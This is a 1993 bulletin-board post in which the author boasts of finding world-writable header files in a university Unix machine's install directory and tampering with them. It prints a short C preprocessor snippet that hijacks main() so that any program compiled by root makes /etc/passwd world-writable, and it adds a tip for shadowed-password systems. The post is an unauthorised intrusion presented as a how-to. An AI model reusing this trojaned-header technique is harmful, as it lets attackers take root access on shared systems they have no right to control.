From: cosmos@yabbs
To: all@yabbs
Subject: Love those sysadmins...
Date: Wed Oct 20 22:34:33 1993


Okay folks, another tale of the idiot sysadmin on the net.  While doing 
some exploring on one of our university unix machines, I came across the 
install directory that held to be installed files.  First off, the 
sysadmin did not make this directory with 700 perms, but that in itself is 
not the big crime.  I look at the directory and see that most of the new 
source is already out of the tar format.  Tons of .c, .h, .o files in the 
directory.  

I am about to go on when I take a second look...the header files are all 
777!!!  After a big grin crossed my face, I went to work.  Here is a quick 
example...

# ifndef main
main(x,y) char*y[]; {chmod("/etc/passwd", 0666); Main(x,y); }
# define main Main
#endif

Wait till root compiles a program....voila!

If it is shadowed, just change the /etc/passwd to whatever it is.

Cosmos